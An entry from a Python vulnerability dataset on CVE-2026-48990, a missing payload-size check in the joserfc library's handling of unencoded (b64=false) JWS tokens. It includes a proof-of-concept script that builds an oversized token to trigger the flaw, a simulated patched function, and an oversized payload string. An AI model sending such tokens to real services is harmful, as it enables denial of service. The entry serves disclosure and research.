CVE-2026-48990
joserfc fails to limit RFC7797 payload size, causing resource exhaustion.
- CVSS 5.3
- CWE-400
- Resource Management
- Remote
joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.
- CWE
- CWE-400
- CVSS base score
- 5.3
- Published
- 2026-06-17
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- joserfc
- Fixed by upgrading
- Yes
Solution
Upgrade `joserfc` to version 1.6.7 or later.
Vulnerable code sample
import joserfc
from joserfc import jws, jwk
from joserfc.errors import ExceededSizeError
# 1. Configure a registry with a very small max payload size (e.g., 10 bytes).
# This is the security control that is expected to reject large payloads.
registry = jws.JWSRegistry(max_payload_length=10)
# 2. Create a payload that is significantly larger than the allowed maximum.
oversized_payload = b"this payload is much larger than the 10-byte limit"
key = jwk.generate_key("oct", 256)
print(f"Payload size: {len(oversized_payload)} bytes")
print(f"Registry max_payload_length: {registry.max_payload_length} bytes")
# 3. An attacker creates a JWS using the RFC7797 "b64": False header.
# This header indicates the payload is unencoded.
protected_header = {"alg": "HS256", "b64": False, "crit": ["b64"]}
malicious_jws = jws.serialize_compact(protected_header, oversized_payload, key)
print("\nAttempting to deserialize the oversized JWS with 'b64': False...")
# 4. The vulnerable application deserializes the token.
# In versions 1.3.4-1.6.5, the max_payload_length check is skipped for this case,
# allowing the oversized payload to be processed, potentially leading to
# resource exhaustion. A patched version would raise an ExceededSizeError here.
try:
header, payload = jws.deserialize_compact(malicious_jws, key, registry=registry)
print("\n[VULNERABILITY CONFIRMED]")
print("The oversized payload was successfully deserialized without error.")
print(f"Deserialized payload length: {len(payload)}")
assert len(payload) > registry.max_payload_length
except ExceededSizeError:
print("\n[VULNERABILITY NOT REPRODUCED]")
print("The library correctly raised ExceededSizeError, as expected in patched versions.")
except Exception as e:
print(f"An unexpected error occurred: {e}")Patched code sample
import sys
# Helper classes to simulate the joserfc environment
class JWSRegistry:
"""Simulates the joserfc registry with a configurable size limit."""
def __init__(self, max_payload_length=None):
self.max_payload_length = max_payload_length
class ExceededSizeError(ValueError):
"""Simulates the error raised for oversized payloads."""
def __init__(self, part):
super().__init__(f"Exceeded max size for: {part}")
def process_unencoded_jws_payload(protected_header, payload, registry):
"""
This function represents the fixed logic for handling RFC7797 ("b64": false)
JWS payloads, as implemented in joserfc version 1.6.7 and later.
It ensures that detached payloads are checked against the configured
`max_payload_length` to prevent resource exhaustion.
"""
if protected_header.get("b64") is False:
# THE FIX: This check was missing in vulnerable versions for unencoded
# (b64=false) payloads. It prevents resource exhaustion by rejecting
# oversized payloads early.
if registry.max_payload_length and len(payload) > registry.max_payload_length:
raise ExceededSizeError("payload")
# If the check passes, the payload can be safely processed.
print(f"Payload of size {len(payload)} accepted for processing.")
return payload
return None
# --- Demonstration of the fix ---
# 1. Configure a registry with a small payload size limit for the demo.
# In a real application, this might be several megabytes.
registry = JWSRegistry(max_payload_length=100)
# 2. Define the protected header for an unencoded JWS payload (RFC7797).
protected_header = {"alg": "HS256", "b64": False}
# 3. Create a payload that is too large.
large_payload = b'A' * 200
print(f"Attempting to process payload of size {len(large_payload)} with a limit of {registry.max_payload_length}...")
try:
# This call will fail because the payload is larger than the allowed limit.
# In vulnerable versions, this check was skipped, and the large payload
# would be passed on, risking resource exhaustion.
process_unencoded_jws_payload(protected_header, large_payload, registry)
except ExceededSizeError as e:
print(f"SUCCESS: The fix correctly rejected the oversized payload with error: {e}")
# 4. Create a payload that is within the limit.
small_payload = b'A' * 50
print(f"\nAttempting to process payload of size {len(small_payload)} with a limit of {registry.max_payload_length}...")
try:
# This call will succeed as the payload size is valid.
process_unencoded_jws_payload(protected_header, small_payload, registry)
except ExceededSizeError as e:
print(f"FAILURE: The fix incorrectly rejected a valid payload: {e}")Payload
f'eyJhbGciOiAiSFMyNTYiLCAiYjY0IjogZmFsc2UsICJjcml0IjogWyJiNjQiXX0.{"A" * 1000001}.placeholder_signature'
Cite this entry
@misc{vaitp:cve202648990,
title = {{joserfc fails to limit RFC7797 payload size, causing resource exhaustion.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48990},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48990/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
